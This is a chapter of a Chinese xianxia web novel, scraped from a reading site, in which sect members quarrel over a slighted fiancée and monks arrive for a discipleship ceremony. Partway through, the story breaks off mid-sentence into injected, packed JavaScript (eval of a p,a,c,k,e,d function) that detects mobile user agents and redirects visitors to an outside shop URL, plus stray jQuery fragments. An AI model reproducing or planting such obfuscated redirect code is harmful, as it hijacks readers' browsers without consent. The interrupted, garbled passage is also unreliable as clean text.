默认冷灰
24号文字
方正启体

4. 来客

作者:凑猫猫本书字数:K更新时间:
    祁灵昭强压下心头翻涌的恐慌,刻意放平声线,气焰却已消减大半:“无霜姐,他欺辱你了么?”


    祁余天眉心一跳,刚要开口阻拦,手臂就被肖严谨死死抱住。肖严谨那双圆溜溜的大眼睛亮得惊人,一眨不眨地望着他,满是哀求,显然是想让他先别当和事佬,好亲眼看看这场热闹,涨涨世面。


    尹无霜明知此事不必闹大,可瞥见那对师徒勾肩搭背的亲昵模样,心头便如鲠在喉,故意负气开口:“不过是些口角之争——”


    “道歉!”


    祁灵昭怒目圆睁,死死盯着祁云耀。说不清是为好友出头的愤懑,还是气他十年杳无音信、让家中为遮掩此事费尽心力的怨怼。


    祁云耀心中亦是惊骇。他早知此次拜师大典,谢长泽会邀天盟地宗前来观礼,却万万没料到,西门竟真的派人来了,来的还是大哥和小妹。


    他心里纠结成一团乱麻,面上却硬撑着那副娇纵草包的姿态,轻蔑地扫了祁灵昭一眼,冷嗤一声:“凭什么?”


    “青云剑庄既已向凌云阁提亲,无霜姐便是你板上钉钉的师母!顶撞师长,你就该道歉!”


    “我偏不!”祁云耀被她这么一激,陡然找回了从前在家和祁灵昭大吵七天七夜的架势。


    双方剑拔弩张,互不相让,气氛紧绷得仿佛一触即发。


    米长老见状,早已带着一众吓得魂飞魄散的小弟子,贴着墙根轻手轻脚溜得无影无踪。


    祁余天望着眼前的架势,恍惚间竟梦回十几年前弟弟妹妹激烈争执,吵到最后一个往左跑,一个往右冲,他只能呆立在原地,左劝不是,右拦也不是,满心只剩浓重的无力感,恨不得将自己一劈为二,追不上人死了也好。


    好在这回要直面选弟弟还是选妹妹这道世纪难题的终究不是他。


    祁余天几不可察地吁了口气,看向谢长泽的目光里,掺了几分不易察觉的怜悯。


    只是谢长泽显然比他从容得多,又或者说,在他的取舍里,从来就不存在第二种选择。


    “无霜,我知晓你的委屈。”


    谢长泽开口,径直越过祁灵昭,目光落向尹无霜,“但如灵昭所言,你我于尧云而言皆是师长。小辈犯错本就在所难免,何必揪着这点小事不放?”


    “长泽?”尹无霜眸中满是不敢置信,未去深究他话里的深意,只是轻唤眼前人,似要确认这陌生的模样,是否还是自己记忆中的谢长泽。


    “我同你解释过的。”谢长泽轻轻推开化名为尧云的祁云耀,旋即以护持的姿态将人挡在身后,“先前你我如何相处,我已记不大清。自重楼……自十年前起,我便记不太清从前的事了。你若实在觉得委屈,这婚约便作罢。我会向百家发声明,断不会玷污你的名声。”


    此言一出,在场众人皆面色骤变。


    “你——”祁灵昭还欲争辩,嘴却被祁余天慌忙捂住。


    尹无霜嘴唇翕动数息,终是一言不发,落寞垂落眼睫,似是认命般低声道:“好,我不再追究。”


    祁云耀听见谢长泽提及“重楼”二字,脸上傲慢瞬间凝住,眼底翻涌着近乎恶毒的戾气,从谢长泽身后死死盯着他的背影。


    不过片刻,他便敛去所有情绪,恢复如初,依旧不屑地立在谢长泽身后,甚至还对着被祁余天捂嘴,怒目圆睁的祁灵昭,抛去一个欠揍又挑衅的眼神。


    这场闹剧,便这般草草收尾。


    谢长泽唤来打杂弟子,命人将四人送离主峰往客舍去,途中还拦下肖严谨,以高价买下他的留影石,当场捏碎销毁。


    而后他以极致谦卑温和的语气,恳请四人守住他近乎“失忆”的实情。


    肖严谨收了一大笔钱自然守口如瓶,毕竟地宗天机阁的宗旨就是“给钱的是大爷”;祁余天脑子压根转不过来这些弯弯绕绕,乐呵呵满口应下;祁灵昭只冷哼一声,缄口不言;唯有尹无霜,回客舍后便闭门不出,拒见任何人。


    另一头,祁云耀折返弟子房,几名弟子鱼贯而入,替他梳洗打扮。


    拜师大典尚隔两日,与山下看热闹的散修不同,天盟地宗六派向来要端足架子。


    毕竟谢长泽是谢长泽,谢青是谢青——谢青能压得住六派,谢长泽却未必。


    是以除却就近早到前来帮衬的凌云阁,在最西南提早动身的西门,还有提前赶到做机关器物买卖的天机阁,余下还是剩下地宗药王谷、仙盟玉虚仙宗和禅宗三派未传来什么消息。


    按原计划,西门与天机阁本也该等其余五派到齐,明后两日再上山。偏遇上尹无霜受气,西门小妹拉着大哥冲上山讨说法,中途不知怎么还捎带了个看热闹的天机阁弟子,搅乱了全盘安排。


    青云剑庄原是让祁云耀到临近大典最后一日,再随掌门去山口迎贵客,经此闹剧,五派聚不齐,只得日日守在山口,等余下三门抵达。


    梳洗完,祁云耀依旧穿那件扎眼的粉袍,头发却被细心编作长辫搭在肩头。小弟子们本想替他挽髻,显得稍微正式点,偏这少爷不是喊头皮紧,就是叫扯了他头发,唧唧歪歪闹个不停,众人只得妥协,给他梳了根长长的麻花辫。


    青云剑庄山口已浮着些零零星星的身影,皆是天机阁弟子。


    这门派本就没什么规矩,弟子出山时候稀稀拉拉,入客舍也三三两两,有听闻肖严谨已经上山了,便都窸窸窣窣往山上赶。


    祁云耀随谢长泽领着一众弟子立在山口迎候,站了个把时辰,才上来一两个天机阁的人。


    祁云耀站得倦极,腰腹处隐隐作痛,不必刻意表演,那股阴沉沉的不耐便又翻涌上来。


    “师尊,我——”


    他刚想开口请辞回去休息,眼前却冷不丁被金光晃了眼。


    祁云耀眼一眯,再看,金光又闪,反复几回,心头不忿更甚,正要发作,那片金光已至近前。


    他这才恍然,哪是什么金光,分明是一群光头!


    只见青云剑庄的石阶上,齐齐整整立着十数名光头僧人。光头圆溜溜的,在日头下晃得满眼金光,身上袈裟绣的金线也熠熠生辉,个别僧人手中的金色禅杖也泛着光,一众身影凑在一起,刺得人睁不开眼。偏偏他们个个半眯着眼,垂着头,半点不受金光影响,神色肃穆。


    为首那名僧人身侧,还立着个衣袂飘飘,头戴纱笠的身影。


    那人浑不受金光干扰,正与身侧僧人低声交谈,语笑晏晏。其身后跟着一男一女两个小童,却是被满目的金光耀得睁不开眼,苦不堪言。刚想偷摸对视一眼,又被彼此眉心的金痣闪了眼,只得埋着头紧紧跟定面前那人。


    一行人行至近前,踏入青云剑庄大门投下的阴影,那晃眼的金光才稍稍敛去,祁云耀与两个小童总算松了口气,方能正常视物。


    祁云耀抬眼望去,为首僧人额间那枚金色小痣,似是比他见过的所有半仙的金痣都要耀眼,似有微光流转,刺得他牙根发酸,只想别开眼。


    等他余光一扫,又发觉除了这为首僧人,其余僧人的额间皆是空荡荡的,竟全是凡人。


    一旁的谢长泽,自见了那戴纱笠的人,神色便透出几分古怪。似想上前亲近,又藏着几分难以察觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177143|196908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的厌恶,纠结不已。待对方站定在眼前,他才敛起异样,挂上真切的欣喜,率先开口:“幕卿师傅!玉蝉方丈!”


    玉蝉方丈双手合十,向谢长泽躬身作揖,谢长泽亦郑重回了大礼。


    祁云耀依样跟着行礼,弯腰的刹那,风幕卿从纱笠中探出一只白得近乎透明的手,缓缓摘下头上纱笠。满头华发披散而下,衬着一张俊朗年轻的面容,眉目间尽是柔和温润,额间金痣却添了一抹明艳,竟是个实打实的绝色美人。


    “长泽,久违了。”


    风幕卿脸上亦挂着浅笑,眼底柔和依旧,眉宇间的病容却终究难掩,身形也较上次相见消瘦了许多。


    谢长泽还想诉几句思念,风幕卿却轻轻摇了摇头,目光扫过身侧一众僧侣,淡声道:“你需招待诸位来客,莫要失了礼数。我去后山看看阿青。”


    说罢他转过身,轻拍两侧小童的手,温言嘱咐:“阿和、阿璟不必跟着我了,帮着长泽掌门打理琐事吧,记得我路上同你们说的话?”


    阿和阿璟齐齐点头,上前几步将祁云耀挤开些许,一左一右稳稳站到谢长泽身侧。


    风幕卿对谢长泽颔首示意,便拖着病骨,脚步微晃地独自往后山去了。


    只有六派之人才知晓的秘密,谢青的棺椁并未入土,而是封存在剑庄后山一处灵气充盈的山洞中,借灵脉滋养,保尸身不腐。传闻这是谢青临终前亲嘱,其中缘由,却无人知晓。


    僧侣们被等候在旁的打杂弟子引去客舍,剑庄门前只剩谢长泽、祁云耀与阿和阿璟四人。


    谢长泽此前曾向陆续上山的天机阁弟子打探过消息,只知玉虚仙宗与禅宗早已互通消息,得知已有三派上山,便结伴而来。


    唯有药王谷行踪诡谲,便是消息最灵的天机阁,也探不到其实际方位。


    说来也难怪,药王谷分东西两峰,东峰由谷主灵枢执掌,西峰却是长老花秽芳一言堂。灵枢与风幕卿素来不和,此番大概率不会派人参会;而不久前,谢长泽才因祁云耀的事得罪了花秽芳。这般境况,药王谷究竟会不会来人,谁也说不准。


    日暮西沉,天色渐暗。


    按肖严谨统计的名单,前一个时辰,他们刚迎到天机阁最后一位弟子。


    青石阶上,依旧空空荡荡,再无来客的身影。


    祁云耀站了整整一日,只觉头晕眼花,腰腹处的隐痛早已转为剧烈绞痛。好在夜色渐浓,将他脸上的青白气色遮掩大半,加之那两个小童一直有一搭没一搭地缠着谢长泽说话,倒也没让谢长泽留意到他的异样。


    他正暗自庆幸两个小孩分走了谢长泽的注意力,便听见谢长泽开口问道:“云儿怎么不说话?”


    祁云耀强压下腹间剧痛,故作刁蛮:“我见师尊同两位师弟说得开心便不插嘴了,免得扰了师尊的兴致。”


    话音刚落,不等谢长泽应声,阿和与阿璟便率先开了口。


    阿和歪着头,满脸疑惑:“是大哥哥说话很难听吗?不然怎会怕打扰谢掌门的兴致?”


    阿璟立刻附和:“不过大哥哥说话的确难听,这般问,是想让谢掌门如何作答呢?”


    阿和接着说道:“若谢掌门坦言,的确同我们说话更开心——”


    阿璟接口:“那大哥哥定然不高兴。”


    阿和又道:“若谢掌门违心说,同我们说话不开心——”


    阿璟随即接上:“那我和阿和就不高兴了。”


    两人一唱一和,说完便一左一右抱住谢长泽的大腿,仰着小脸齐齐感叹:“做掌门好难呀,谢掌门真是辛苦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)